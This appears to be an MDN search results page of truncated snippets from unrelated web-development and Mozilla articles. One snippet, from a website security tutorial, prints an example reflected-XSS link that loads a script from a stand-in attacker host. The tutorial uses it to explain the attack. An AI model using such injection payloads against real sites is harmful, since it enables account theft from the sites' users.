... platform. additionally, you need python 2.4 or later and gnu make 3.81 or later. (gnu make 3.80 does not work. nor does any other brand of make.) with the right prerequisites, use these commands to build tamarin tracing: $ hg clone http://hg.mozilla.org/tamarin-tracing $ cd tamarin-tracing $ mkdir objdir-debug $ cd objdir-debug $ python ../configure.py --enable-shell $ make ... $ shell/avmshell avmshell 1.0 build cyclone ... that's all. the avmplus executable is avmshell. for verbose build of tamarin, you can pass cppflags to make. $ make cppflags=-davmplus_verbose windows mobile to build for arm: $ python ../configure.py --target=arm-windows --enable-shell; make to build for thumb: $ python ../configure.py --target=thumb-windows --enable-shell; make platform-specific build...
...And 3 more matches
E4X for templating - Archive of obsolete content
e4x can be used for creating templates for dynamic content. ...
... === 'string') { return s.replace(/"/g, '&quot;').replace(/'/g, '&apos;'); } if (typeof s === 'xml') { return s.tostring().replace(/"/g, '&quot;').replace(/'/g, '&apos;'); } return string(s).replace(/"/g, '&quot;').replace(/'/g, '&apos;'); } localization e4x works nicely with a simple utility for localizing strings of a properties file: // localization function $s(msg, args){ //get localized message var strs = cc['@mozilla.org/intl/stringbundle;1'].getservice(ci.nsistringbundleservice). createbundle('chrome://myeext/locale/myext.properties'); if (args){ args = array.prototype.slice.call(arguments, 1); return strs.formatstringfromname(msg,args,args.length); } return strs.getstringfromname(msg)...
...ngfromname(msg); } for example, <toolbarbutton label={$s('mytoolbar.label')}/> conditionals function _if (cond, h, _else) { if (cond && cond != undefined) { // we need undefined condition for e4x return h(cond); } else if (_else) { return _else(cond); } return ''; // empty string allows conditions in attribute as well as element content } for example: {_if(elems.length(), function () <description>{elems[0]}</description>, function _else () <label>no data</label> )} note that the simple xmllist() constructor (<></>) may be useful to still be able to use an expression closure (i.e., without needing return statements and braces): {_if(elems.length(), function () <> <markup/> <markup/> </>)} note that, while it is convenient to s...
...And 3 more matches
Debug - Archive of obsolete content
utput window at run time. to debug internet explorer scripts, you must have a script debugger installed and the script must run in debug mode. internet explorer 8 and later versions include the javascript debugger. if the script is not being debugged, the debug methods and properties have no effect. constants async callback status codes contant description value debug.ms_async_callback_status_assign_delegate the synchronous work item assigned a callback or continuation to be run by an asynchronous operation. 0 debug.ms_async_callback_status_join the synchronous work item satisfied part of a join asynchronous operation. 1 debug.ms_async_callback_status_chooseany the synchronous work item satisfied a choice asynchronous operation. ...
...tus_assign_delegate the synchronous work item assigned a callback or continuation to be run by an asynchronous operation. 0 debug.ms_async_callback_status_join the synchronous work item satisfied part of a join asynchronous operation. 1 debug.ms_async_callback_status_chooseany the synchronous work item satisfied a choice asynchronous operation. 2 debug.ms_async_callback_status_cancel the synchronous work item was canceled. 3 debug.ms_async_callback_status_error the synchronous work item caused an error in an asynchronous operation. ...
...hooseany the synchronous work item satisfied a choice asynchronous operation. 2 debug.ms_async_callback_status_cancel the synchronous work item was canceled. 3 debug.ms_async_callback_status_error the synchronous work item caused an error in an asynchronous operation. 4 async operation status codes contant description value debug.ms_async_op_status_success the asynchronous operation was successful. 1 debug.ms_async_op_status_canceled the asynchronous operation was canceled. 2 debug.ms_async_op_status_error the asynchronous operation resulted in an error. 3 properties debug.debuggerenabled determines whether debugging is enabled for the script context. debugging may be enabled or...
...And 3 more matches
Issues Arising From Arbitrary-Element hover - Archive of obsolete content
many authors make use of the css2 pseudo-class :hover to style their links. ...
...many authors make use of the css2 pseudo-class :hover to style their links. ...
...ape 6.1+), :hover styles can be applied to any element in a document. thus authors who have used bare pseudo-classes, or bare class-pseudo-class combinations, are at risk of seeing hover styles applied to more than just their links. the most reliable fix is to add the anchor element to the selectors, like this: a:hover {color: red;} a.nav:hover {color: red;} in an attempt to avoid causing problems for legacy documents, browsers based on mozilla 1.0 and later (netscape 7+) include code that causes bare pseudo-classes to be restricted only to links if the document is rendered in "quirks" mode. in browsers based on the engine found in mozilla 1.3b and later, this quirk is extended to cover selectors that combine a bare class selector with the :hover pseudo-class (see bug 169078 for details). ...
...And 3 more matches
RDF in Mozilla FAQ - Archive of obsolete content
formation on open directory ("dmoz")? unfortunately, not here! well, here's a little... start at http://www.dmoz.org/ for more information on the open directory. the open directory dataset is available as a (huge) rdf/xml dump. it describes thousands of web sites using a mix of the dublin core metadata vocabulary and the dmoz taxonomy. see their rdf pages for more information. if you have problems with the dmoz and chefmoz data, it's best to contact those projects directly. but if you do something interesting with this content (eg. have mozilla use it, eg. by loading chunks of it into a xul ui from a remote site), don't forget to let mozilla-rdf and the rdf interest group lists know. those lists would probably also be interested in tools for cleaning / re-processing / storing the dmoz data...
...gress. the following code illustrates its usage: // this is the object that will observe the rdf/xml load's progress var observer = { onbeginload: function(asink) {}, oninterrupt: function(asink) {}, onresume: function(asink) {}, onendload: function(asink) { asink.removexmlsinkobserver(this); alert("done!"); }, onerror: function(asink, astatus, aerrormsg) { alert("error! " + aerrormsg); } }; // get the rdf service var rdf = components .classes["@mozilla.org/rdf/rdf-service;1"] .getservice(components.interfaces.nsirdfservice); // get the datasource. var ds = rdf.getdatasource("http://www.mozilla.org/some-rdf-file.rdf"); // now see if it's loaded or not... var remote = ds.queryinterface(components.interfaces.nsirdfremotedatasource); i...
...has an object that is an rdf container, you can instantiate an nsirdfcontainer object with the @mozilla.org/rdf/container;1 contractid and init() it with the datasource and resource as parameters. note that this will fail if the resource isn't already a container. xul templates xul templates are created by specifying a datasources attribute on an element in a xul document. there are two "forms" that xul templates may be written in. the "simple" form, which is currently the most common form in the mozilla codebase, and the "extended" form, which allows for sophisticated pattern matching against the rdf graph. see the xul:template guide. (these are bizarrely arranged because the eventual intent is to introduce templates using the extended form -- which in many ways is conceptually simple...
...And 3 more matches
Archive of obsolete content
perhaps your target audience is people that are using older hardware, for example, and can't upgrade to the latest and greatest browsers. or for "reasons," your company is required to use very old software and you need to build web content that runs on that software. or perhaps you're just curious about the history of an obsolete feature or api, and how it worked. there are many reasons older documentation can be useful. ...
...e downloadable sample code or to the previous sample for further details. creating a status bar extension many of the concepts introduced here apply to any xul-based application; however, to keep from getting completely overwhelmed, we're going to focus specifically on firefox. css3 css3 is the latest evolution of the cascading style sheets language and aims at extending css2.1. it brings a lot of long-awaited novelties, like rounded corners, shadows, gradients, transitions or animations, as well as new layouts like multi-columns, flexible box or grid layouts. element events archived event pages firefox developer tools these are articles related to the firefox developer tools...
...g project, please feel free to update this page. localizing an extension this article expands upon the previous samples on extension writing by adding localization support to our stock watcher extension. performing a few simple steps makes your extension much easier to localize into various languages without having to edit the xul or javascript files themselves. makefile - .mk files misc top level these pages were moved from the top level of mdn in a spate of furious reorganization. mmgc mmgc is the tamarin (née macromedia) garbage collector, a memory management library that has been built as part of the avm2/tamarin effort. it is a static library that is linked into the flash pla...
...And 3 more matches
Game monetization - Game development
howing adverts and relying on previous activities related to promoting your game may benefit, but your game has to be addictive, which isn't as easy as it sounds. you still need to plan it out, and at some point you'll need a bit of luck too. if your game goes viral and people start sharing it, you can get a lot of downloads and money out of adverts. there are many companies offering advert systems — you sign up and allow them to show adverts in exchange for a percentage of the earnings. google adsense is said to be the most effective one, but it's not designed for games and it's a pretty bad practice to use it for that purpose. instead of risking of having your account closed and all the money blocked try to use the usual, gamedev targeted portals like leadbolt. they offer easy to implem...
...sign up and allow them to show adverts in exchange for a percentage of the earnings. google adsense is said to be the most effective one, but it's not designed for games and it's a pretty bad practice to use it for that purpose. instead of risking of having your account closed and all the money blocked try to use the usual, gamedev targeted portals like leadbolt. they offer easy to implement systems to show the adverts in your games and split the earnings with you. video ads are getting more and more popular, especially in the form of a pre-roll — they are shown at the beginning of your game while it's still loading. and on the topic of where to put the advertisements in your game it really depends on you. it should be as subtle as possible so as to not annoy the players too much, but vis...
...e and more portals interested in showing your games on their websites. they follow various strategies to earn money via your games, but you don't have to worry about all that as selling the license is usually a one-time deal. you get the money and they can get creative with using your game to make money. finding publishers might be hard at first — try to look for them at the html5 gamedevs forums. if you're well known they may reach out to you. most of the deals are done through emails when talking to a dedicated person on the publisher side. some publisher websites have that information easily available, while some others are harder to find. when reaching a publisher try to be nice and straight to the point — they are busy people. exclusive licenses the exclusive license is a type of...
...And 3 more matches
Sending form data - Learn web development
and, since we covered validation in the previous article, we're ready to submit! this article looks at what happens when a user submits a form — where does the data go, and how do we handle it when it gets there? we also look at some of the security concerns associated with sending form data. prerequisites: basic computer literacy, an understanding of html, and basic knowledge of http and server-side programming. ...
... your browser. other languages and frameworks there are many other server-side technologies you can use for form handling, including perl, java, .net, ruby, etc. just pick the one you like best. that said, it's worth noting that it's very uncommon to use these technologies directly because this can be tricky. it's more common to use one of the many high quality frameworks that make handling forms easier, such as: django for python (a bit more heavyweight than flask, but with more tools and options). express for node.js. laravel for php. ruby on rails for ruby. it's worth noting that even using these frameworks, working with forms isn't necessarily easy. but it's much easier than trying to write all the functionality yourself from scratch, and will save you a lot of time. note: i...
...files are binary data — or considered as such — whereas all other data is text data. because http is a text protocol, there are special requirements for handling binary data. the enctype attribute this attribute lets you specify the value of the content-type http header included in the request generated when the form is submitted. ...
...And 3 more matches
Front-end web developer - Learn web development
web standards (45 min read) learning and getting help (45 min read) semantics and structure with html time to complete: 35–50 hours prerequisites nothing except basic computer literacy, and a basic web development environment. how will i know i'm ready to move on? the assessments in each module are designed to test your knowledge of the subject matter. completing the assessments confirms that you are ready to move on to the next module. modules introduction to html (15–20 hour read/exercises) multimedia and embedding (15–20 hour read/exercises) html tables (5–10 hour read/exercises) styling and layout with css time to complete: 90–120 hours prerequisites it is recommended that you have basic html knowledge before starting to learn css. you should at least study...
...ur read/exercises) styling and layout with css time to complete: 90–120 hours prerequisites it is recommended that you have basic html knowledge before starting to learn css. you should at least study introduction to html first. how will i know i'm ready to move on? the assessments in each module are designed to test your knowledge of the subject matter. completing the assessments confirms that you are ready to move on to the next module. modules css first steps (10–15 hour read/exercises) css building blocks (35–45 hour read/exercises) styling text (15–20 hour read/exercises) css layout (30–40 hour read/exercises) additional resources css layout cookbook interactivity with javascript time to complete: 135–185 hours prerequisites it is recommended that yo...
...cookbook interactivity with javascript time to complete: 135–185 hours prerequisites it is recommended that you have basic html knowledge before starting to learn javascript. you should at least study introduction to html first. how will i know i'm ready to move on? the assessments in each module are designed to test your knowledge of the subject matter. ...
...And 3 more matches
Debugging HTML - Learn web development
something goes wrong, and you can't work out where the error in the code is? this article will introduce you to some tools that can help you find and fix errors in html. prerequisites: html familiarity, as covered in, for example, getting started with html, html text fundamentals, and creating hyperlinks. objective: learn the basics of using debugging tools to find problems in html. debugging isn't scary when writing code of some kind, everything is usually fine, until that dreaded moment when an error occurs — you've done something wrong, so your code doesn't work — either not at all, or not quite how you wanted it to. for example, the following shows an error reported when trying to compile a simple program written in the rust language. here, the erro...
...n error reported when trying to compile a simple program written in the rust language. here, the error message is relatively easy to understand — "unterminated double quote string". if you look at the listing, you can probably see how println!(hello, world!"); might logically be missing a double quote. however, error messages can quickly get more complicated and less easy to interpret as programs get bigger, and even simple cases can look a little intimidating to someone who doesn't know anything about rust. debugging doesn't have to be scary though — the key to being comfortable with writing and debugging any programming language or code is familiarity with both the language and the tools. html and debugging html is not as complicated to understand as rust. html is not compiled int...
...ors in html? <ul> <li>unclosed elements: if an element is <strong>not closed properly, then its effect can spread to areas you didn't intend <li>badly nested elements: nesting elements properly is also very important for code behaving correctly. <strong>strong <em>strong emphasised?</strong> what is this?</em> <li>unclosed attributes: another common source of html problems. let's look at an example: <a href="https://www.mozilla.org/>link to mozilla homepage</a> </ul> let's review the problems: the paragraph and list item elements have no closing tags. looking at the image above, this doesn't seem to have affected the markup rendering too badly, as it is easy to infer where one element should end and another should begin. the first <strong> e...
...And 3 more matches
HTML text fundamentals - Learn web development
t, often just reading the headings to begin with. (we usually spend a very short time on a web page.) if they can't see anything useful within a few seconds, they'll likely get frustrated and go somewhere else. search engines indexing your page consider the contents of headings as important keywords for influencing the page's search rankings. without headings, your page will perform poorly in terms of seo (search engine optimization). severely visually impaired people often don't read web pages; they listen to them instead. this is done with software called a screen reader. this software provides ways to get fast access to given text content. among the various techniques used, they provide an outline of the document by reading out the headings, allowing their users to find the information ...
...sts now let's turn our attention to lists. lists are everywhere in life—from your shopping list to the list of directions you subconsciously follow to get to your house every day, to the lists of instructions you are following in these tutorials! lists are everywhere on the web, too, and we've got three different types to worry about. ...
... to lists. lists are everywhere in life—from your shopping list to the list of directions you subconsciously follow to get to your house every day, to the lists of instructions you are following in these tutorials! lists are everywhere on the web, too, and we've got three different types to worry about. ...
...And 3 more matches
What’s in the head? Metadata in HTML - Learn web development
r metadata (data about the html, such as the author, and important keywords that describe the document.) in this article we'll cover all of the above and more, in order to give you a good basis for working with markup. prerequisites: basic html familiarity, as covered in getting started with html. objective: to learn about the html head, its purpose, the most important items it can contain, and what effect it can have on the html document. what is the html head? let's revisit the simple html document we covered in the previous article: <!doctype html> <html> <head> <meta charset="utf-8"> <title>my test page</title> </head> <body> <p>this is my page</p> </body> </html> the html head is the contents of the <head> element — unlike the con...
...e: if you set your character encoding to iso-8859-1, for example (the character set for the latin alphabet), your page rendering may appear all messed up: note: some browsers (e.g. chrome) automatically fix incorrect encodings, so depending on what browser you use, you may not see this problem anyway. you should still set an encoding of utf-8 on your page anyway, to avoid any potential problems in other browsers. active learning: experiment with character encoding to try this out, revisit the simple html template you obtained in the previous section on <title> (the title-example.html page), try changing the meta charset value to iso-8859-1, and add the japanese to your page. this is the code we used: <p>japanese example: ご飯が熱い。</p> adding an author and description many...
...ifies the type of meta element it is; what type of information it contains. content specifies the actual meta content. two such meta elements that are useful to include on your page define the author of the page, and provide a concise description of the page. ...
...And 3 more matches
Introduction to events - Learn web development
ide a good example. you don't need to understand anything about other such environments at this stage in your learning; we just wanted to make it clear that events can differ in different programming environments. ways of using web events there are a number of ways to add event listener code to web pages so it runs when the associated event fires. in this section, we review the various mechanisms and discuss which ones you should use. event handler properties these are the properties that exist to contain event handler code we have seen most frequently during the course. returning to the above example: const btn = document.queryselector('button'); btn.onclick = function() { const rndcol = 'rgb(' + random(255) + ',' + random(255) + ',' + random(255) + ')'; document.body.style.backg...
...want to run in response to it. ...
....backgroundcolor = rndcol; }); this mechanism has some advantages over the older mechanisms discussed earlier. first, there is a counterpart function, removeeventlistener(), which removes a previously added listener. for example, this would remove the listener set in the first code block in this section: btn.removeeventlistener('click', bgchange); this isn't significant for simple, small programs, but for larger, more complex programs it can improve efficiency to clean up old unused event handlers. plus, this allows you to have the same button performing different actions in different circumstances — all you have to do is add or remove event handlers as appropriate. second, you can register multiple handlers for the same listener. the following two handlers wouldn't both be applied: m...
...And 3 more matches
Client-side storage - Learn web development
s. see browser storage limits and eviction criteria for more information. old school: cookies the concept of client-side storage has been around for a long time. since the early days of the web, sites have used cookies to store information to personalize user experience on websites. they're the earliest form of client-side storage commonly used on the web. these days, there are easier mechanisms available for storing client-side data, therefore we won't be teaching you how to use cookies in this article. however, this does not mean cookies are completely useless on the modern-day web — they are still used commonly to store data related to user personalization and state, e.g. session ids and access tokens. for more information on cookies see our using http cookies article. new school: ...
...ern-day web — they are still used commonly to store data related to user personalization and state, e.g. session ids and access tokens. for more information on cookies see our using http cookies article. new school: web storage and indexeddb the "easier" features we mentioned above are as follows: the web storage api provides a very simple syntax for storing and retrieving smaller, data items consisting of a name and a corresponding value. this is useful when you just need to store some simple data, like the user's name, whether they are logged in, what color to use for the background of the screen, etc. the indexeddb api provides the browser with a complete database system for storing complex data. this can be used for things from complete sets of customer records to even complex da...
...here we first grab a reference to the existing database from e.target.result (...
...And 3 more matches
Website security - Learn web development
ite security requires design effort across the whole of the website: in your web application, the configuration of the web server, your policies for creating and renewing passwords, and the client-side code. while all that sounds very ominous, the good news is that if you're using a server-side web framework, it will almost certainly enable "by default" robust and well-thought-out defense mechanisms against a number of the more common attacks. other attacks can be mitigated through your web server configuration, for example by enabling https. finally, there are publically available vulnerability scanner tools that can help you find out if you've made any obvious mistakes. the rest of this article gives you more details about a few common threats and some of the simple steps you can take to ...
... into reflected and persistent, based on how the site returns the injected scripts to a browser. a reflected xss vulnerability occurs when user content that is passed to the server is returned immediately and unmodified for display in the browser. any scripts in the original user content will be run when the new page is loaded. for example, consider a site search function where the search terms are encoded as url parameters, and these terms are displayed along with the results. an attacker can construct a search link that contains a malicious script as a parameter (e.g., http://mysite.com?q=beer<script%20src="http://evilsite.com/tricky.js"></script>) and email it to another user. if the target user clicks this "interesting link", the script will be executed when the search results are d...
...example, a discussion board that accepts comments that contain unmodified html could store a malicious script from an attacker. when the comments are displayed, the script is executed and can send to the attacker the information required to access the user's account. this sort of attack is extremely popular and powerful, because the attacker might not even have any direct engagement with the victims. while the data from post or get requests is the most common source of xss vulnerabilities, any data from the browser is potentially vulnerable, such as cookie data rendered by the browser, or user files that are uploaded and displayed. the best defense against xss vulnerabilities is to remove or disable any markup that can potentially contain instructions to run the code. for html this incl...
...And 3 more matches
Focus management with Vue refs - Learn web development
non-mouse users. specifically, when a user activates the "edit" button, we remove the "edit" button from the dom, but we don't move the user's focus anywhere, so in effect it just disappears. this can be disorienting for keyboard and non-visual users. to understand what's currently happening: reload your page, then press tab. you should see a focus outline on the input for adding new to-do items. press tab again. the focus should move to the "add" button. hit it again, and it'll be on the first checkbox. one more time, and focus should be on the first "edit" button. activate the "edit" button by pressing enter. the checkbox will be replaced with our edit component, but the focus outline will be gone. this behavior can be jarring. in addition, what happens when you press tab again va...
... this.focusoneditbutton(); }, editcancelled() { this.isediting = false; this.focusoneditbutton(); }, try editing and then saving/cancelling a to-do item via your keyboard. you'll notice that focus isn’t being set, so we still have a problem to solve. if you open your console, you'll see an error raised along the lines of "can't access property "focus", editbuttonref is undefined". this seems weird. your button ref was defined when you activated the "edit" button, but now it’s not. what is going on? well, remember that when we change isediting to true, we no longer render the section of the component featuring the "edit" button. this means there's no element to bind the ref to, so it becomes undefined. you might now be thinking "hey, don’t we set isediting=false before we try to...
...all the focus() function of the ref. you don't have to use $nexttick here because the component has already been added to the dom when mounted() is called. mounted() { const labelinputref = this.$refs.labelinput; labelinputref.focus(); } now when you activate the "edit" button with your keyboard, focus should immediately be moved to the edit <input>. handling focus when deleting to-do items there's one more place we need to consider focus management: when a user deletes a to-do. when clicking the "edit" button, it makes sense to move focus to the edit name text box, and back to the "edit" button when canceling or saving from the edit screen. however, unlike with the edit form, we don’t have a clear location for focus to move to when an element is deleted. we also need a way to p...
...And 3 more matches
Cross browser testing - Learn web development
this module focuses on testing web projects across different browsers. we look at identifying your target audience (e.g. what users, browsers, and devices do you most need to worry about?), how to go about doing testing, the main issues that you'll face with different types of code and how to mitigate them, what tools are most useful in helping you test and fix problems, and how to use automation to speed up testing. looking to become a front-end web developer? we have put together a course that includes all the essential information you need to work towards your goal. get started prerequisites you should really learn the basics of the core html, css, and javascript languages first before attempting to use the tools detailed here. guides introduction to cross browser testing thi...
...uisites you should really learn the basics of the core html, css, and javascript languages first before attempting to use the tools detailed here. guides introduction to cross browser testing this article starts the module off by providing an overview of the topic of cross browser testing, answering questions such as "what is cross browser testing?", "what are the most common types of problems you'll encounter?", and "what are the main approaches for testing, identifying, and fixing problems?" strategies for carrying out testing next, we drill down into carrying out testing, looking at identifying a target audience (e.g. what browsers, devices, and other segments should you make sure are tested), lo-fi testing strategies (get yourself a range of devices and some virtual machines and ...
...to carrying out testing, looking at identifying a target audience (e.g. what browsers, devices, and other segments should you make sure are tested), lo-fi testing strategies (get yourself a range of devices and some virtual machines and do ad-hoc tests when needed), higher tech strategies (automation, using dedicated testing apps), and testing with user groups. ...
...And 3 more matches
Deploying our app - Learn web development
sample app. we push the code to github, deploy it using netlify, and even show you how to add a simple test into the process. prerequisites: familiarity with the core html, css, and javascript languages. objective: to finish working through our complete toolchain case study, focusing on deploying the app. post development there's potentially a large range of problems to be solved in this section of the project's lifecycle. as such, it's important to create a toolchain that handles these problems in a way that requires as little manual intervention as possible. here's just a few things to consider for this particular project: generating a production build: ensuring files are minimised, chunked, have tree-shaking applied, and that versions are "cache busted...
...h forces the browser to download a new copy of your code. parcel (and indeed many other tools) will generate filenames that are unique to each new build. this unique filename "busts" your browser's cache, thereby making sure the browser downloads the fresh code each time an update is made to the deployed code. the above tasks also break down into further tasks; note that most web development teams will have their own terms and processes for at least some part of the post-development phase. for this project, we're going to use netlify's wonderful static hosting offering to host our project. netlify gives us hosting or more specifically, a url to view your project online and to share it with your friends, family, and colleagues. deploying to hosting tends to be at the tail-end of the proje...
...ect, we're going to use netlify's wonderful static hosting offering to host our project. netlify gives us hosting or more specifically, a url to view your project online and to share it with your friends, family, and colleagues. deploying to hosting tends to be at the tail-end of the project life cycle, but with services such as netlify bringing down the cost of deployments (both in financial terms and also the time required to actually deploy) it's possible to deploy during development to either share work in progress or to have a pre-release for some other purpose. netlify, amongst other things, also allows you to run pre-deployment tasks, which in our case means that all the production code build processes can be performed inside of netlify and if the build is successful, the website ch...
...And 3 more matches
Package management basics - Learn web development
we need to add an index.js file in the same directory as index.html. for now index.js can be empty; it just needs to exist. create this now. having fun with parcel now we’ll run our newly installed parcel tool. in your terminal, run the following command: parcel index.html you should see something like this printed to your terminal: server running at http://localhost:1234 ✨ built in 193ms. note: if you have trouble with the terminal returning a "command not found" type error, try running the above command with the npx utility, i.e. npx parcel index.html. now we're ready to benefit from the full javascript package ecosystem. for a start, there is now a local web server running at http://localhost:1234. go there now and you’ll not see anything for now, but what is cool is that...
...se are the files you would upload to your web server when releasing the site online for public consumption. so long as we know the package name, we can use it in our code and parcel will go off, fetch, and install (actually "copy") the package into our local directory (under node_modules). building our code for production however, this code is not ready for production. most build tooling systems will have a "development mode" and a "production mode". the important difference is that a lot of the helpful features you will use in development are not needed in the final site, so will be stripped out for production, e.g. "hot module replacement", "live reloading", and "uncompressed and commented source code". though far from exhaustive, these are some of the common web development features t...
......
...And 3 more matches
Embedding Tips
siwebbrowser::parenturicontentlistener attribute. watch for changes in nsiuricontentlistener::onstarturiopen(). you can abort the uri load at this point if you don't want it to proceed. if necessary you may also implement the nsiuricontentlistener::ispreferred(), returning pr_true to ensure you are always the preferred uri handler and are called no matter what the content type. how do i copy items to the clipboard? obtain the nsiclipboardcommands interface from the appropriate web browser object via nsiserviceprovider::getinterface (or the do_getinterface() helper method). how do i save a document or data to disk? query for the nsiwebbrowserpersist interface implemented on the web browser object and call the saveuri() or savedocument() methods on that. alternatively, create a standalon...
...d manager which points to your nsiwebbrowserchrome implementation. this implementation should also implement nsiclipboarddragdrophooks. deny the drop by setting the return value of the allowdrop() function. ...
...hich points to your nsiwebbrowserchrome implementation. this implementation should also implement nsiclipboarddragdrophooks. deny the drop by setting the return value of the allowdrop() function. ...
...And 3 more matches
IPDL Type Serialization
all types used in ipdl must be serializable. this is accomplished through type specialization of a c++ traits class. types are serialized and deserialized from an ipc::message type declared in ipc_message.h. each type specializes ipc::paramtraits as follows: namespace ipc { template <> struct paramtraits<mytype> { typedef mytype paramtype; static void write(message* amsg, const paramtype& aparam) { // implement serialization here } static bool read(const message* amsg, void** aiter, paramtype* aresult) { // implement deserialization here. return false if deserialization failed } }; } // namespace ipc the standard ipdl types (integers, floats, and xpcom strings) already have serializers. other types need to have serializers written for them explicitly. in m...
...rializers. other types need to have serializers written for them explicitly. in many cases a serializer can be written by combining existing serializers. ...
...itten for them explicitly. in many cases a serializer can be written by combining existing serializers. ...
...And 3 more matches
Dict.jsm
and above, you may also pass a json string to initialize the dictionary: var somejson = '{key1: "foo", key2: {}}'; var newdict = new dict(somejson); note: any string you pass will be assumed to be json. ...
...ing akey); object get(string akey, [optional] object adefault); boolean has(string akey); array listitems(); array listkeys(); array listvalues(); void set(string akey, object avalue); string tojson(); string tostring(); properties attribute type description count number the number of items in the dictionary. items iterator returns an iterator over all of the items in the dictionary; each item is returned as a pair (a two-element array) with the first element being the key and the second being the value. note: the order in which items are returned is arbitrary, and may change without notice. in addition, if the dictionary changes during iteration, no guarant...
...ray) with the first element being the key and the second being the value. note: the order in which items are returned is arbitrary, and may change without notice. in addition, if the dictionary changes during iteration, no guarantees are made as to what will happen. keys iterator returns an iterator over all the keys in the dictionary. note: the order in which items are returned is arbitrary, and may change without notice. in addition, if the dictionary changes during iteration, no guarantees are made as to what will happen. values iterator returns an iterator over all the values in the dictionary. note: the order in which items are returned is arbitrary, and may change without notice. in addition, if the dictionary changes durin...
...And 3 more matches
JNI.jsm
rst need to import the code module into your javascript scope: components.utils.import("resource://gre/modules/jni.jsm"); this module was available in firefox since version 17. if you would like to support versions before that, you can copy and paste the contents of the jsm file int jni stands for java native interface; this library allows calling java code running in java virtual machines (jvms), etc. the most common use for this module is in add-ons and other works on firefox for android (fennec). with this module, all of the android sdk functions that firefox has permissions for are at your fingertips. a note about firefox for android, this jsm file is already globally imported and is available from the privileged window scope as window.jni. there also exists a jenv variable in the w...
... } finally { if (my_jenv) { jni.unloadclasses(my_jenv); } } casting this example shows how to cast, the casting happens at jni.classes.android.view.windowmanager.__cast__(wm) below: function main() { var my_jenv; try { my_jenv = jni.getforthread(); var sig = { windowmanager: 'landroid/view/windowmanager;', windowmanager_layoutparams: 'landroid/view/windowmanager$layoutparams;', viewgroup_layoutparams: 'landroid/view/viewgroup$layoutparams;', view: 'landroid/view/view;', void: 'v', context: 'landroid/content/context;', string: 'ljava/lang/string;', object: 'ljava/lang/object;', geckoappshell: 'lorg/mozilla/gecko/geckoappshell;' }; ...
...ameofclass(sig.geckoappshell), { static_methods: [ { name: 'getcontext', sig: '()' + sig.context }] }); var context = jni.loadclass(my_jenv, fullyqualifiednameofclass(sig.context), { methods: [ { /* http://developer.android.com/reference/android/content/context.html#getsystemservice%28java.lang.class%3ct%3e%29 * public abstract object getsystemservice (string name) */ name: 'getsystemservice', sig: genmethodsig([ sig.string // name ], sig.object // return ) }], static_fields: [ { ...
...And 3 more matches
OS.File.Info
instances of os.file.info may be obtained by: calling global method os.file.stat() either from the main thread or from a worker thread; calling instance method stat() of os.file either from the main thread or from a worker thread. ...
...xowner" in info) { // info.unixowner holds the owner of the file } else { // information is not available on this platform } } ); evolution of this example bug 802534 will introduce the ability to check whether field unixowner appears in os.file.info.prototype, which will make it possible to write faster code. global object os.file.info methods object tomsg(in os.file.info value) os.file.tomsg convert an instance of os.file.info to a form that can be serialized and transmitted between threads or processes. object tomsg( in os.file.info value ) arguments returns an object with the same fields as value but that may be serialized and transmitted between threads or processes. value an instance of os.file.info. instances of os.file.i...
...object with the same fields as value but that may be serialized and transmitted between threads or processes. value an instance of os.file.info. instances of os.file.info cross-platform attributes isdir true if the file is a directory, false otherwise. issymlink true if the false is a symbolic link, false otherwise. ...
...And 3 more matches
PromiseWorker.jsm
eturn self[method](...args); }; worker.postmessage = function(...args) { // post a message to the main thread self.postmessage(...args); }; worker.close = function() { // close the worker self.close(); }; worker.log = function(...args) { // log (or discard) messages (optional) dump('worker: ' + args.join(' ') + '\n'); }; // connect it to message port. self.addeventlistener('message', msg => worker.handlemessage(msg)); abstractworker is a base class for the worker, and it's designed to be used by derived class, which provides above four methods (dispatch, postmessage, close, and log). but you can instantiate abstractworker itself and set its properties later, instead of creating derived class. main thread file the basepromiseworker object needs to be imported: const { utils:...
...ic meaning; they're described below. supported built-in javascript error are following: evalerror internalerror rangeerror referenceerror syntaxerror typeerror urierror in addition to them, stopiteration is also supported (note that stopiteration is deprecated). you can also construct and throw your own custom error objects as needed. ...
...ascript error are following: evalerror internalerror rangeerror referenceerror syntaxerror typeerror urierror in addition to them, stopiteration is also supported (note that stopiteration is deprecated). you can also construct and throw your own custom error objects as needed. when custom error is caught by abstractworker, tomsg method will be called to convert it into message. the tomsg function should return an object which has exn property, that is the property key for the frommsg function in main thread side. // worker // define a custom error prototype. function customerror(message) { this.message = message; } customerror.prototype.tomsg = function() { return { exn: 'customerror', message: this.message, }; }; // a function called by message. function func()...
...And 3 more matches
Sqlite.jsm
ase will be created. the value typically ends with .sqlite. sharedmemorycache (optional) boolean indicating whether multiple connections to the database share the same memory cache. sharing the memory cache likely results in less memory utilization. however, sharing also requires connections to obtain a lock, possibly making database access slower. defaults to true. shrinkmemoryonconnectionidlems (optional) if defined, the connection will attempt to minimize its memory usage after this many milliseconds of connection idle. the connection is idle when no statements are executing. there is no default value which means no automatic memory minimization will occur. please note that this is not a timer on the idle service and this could fire while the application is active. openconnection(op...
...lean indicating whether the table exists. indexexists(name) this functions determines whether a named index exists in the current database. it returns a promise that is resolved with a boolean indicating whether the index exists. statement execution these apis facilitate execution of statements on the connection. these are arguably the most important apis in this type. ...
...able exists. indexexists(name) this functions determines whether a named index exists in the current database. it returns a promise that is resolved with a boolean indicating whether the index exists. statement execution these apis facilitate execution of statements on the connection. these are arguably the most important apis in this type. ...
...And 3 more matches
Power profiling overview
ntire package — i.e. if all cores are idle then the entire package can also become idle, which reduces power consumption even further. the fraction of time that a package or core spends in an idle c-state is called the c-state residency. this is a misleading term — the active state, c0, is also a c-state — but one that is nonetheless common. intel processors have model-specific registers (msrs) containing measurements of how much time is spent in different c-states, and tools such as powermetrics (mac), powertop and turbostat (linux) can expose this information. a wakeup occurs when a core or package transitions from an idle state to the active state. this happens when the os schedules a process to run due to some kind of event. common causes of wakeups include scheduled timers goin...
... there are several kinds of power and power-related measurements. some are global (whole-system) and some are per-process. the following sections list them from best to worst. power measurements the best measurements are measured in joules and/or watts, and are taken by measuring the actual hardware in some fashion. these are global (whole-system) measurements that are affected by running programs but also by other things such as (for laptops) how bright the monitor backlight is. devices such as ammeters give the best results, but these can be expensive and difficult to set up. a cruder technique that works with mobile machines and devices is to run a program for a long time and simply time how long it takes for the battery to drain. the long measurement times required are a disadvanta...
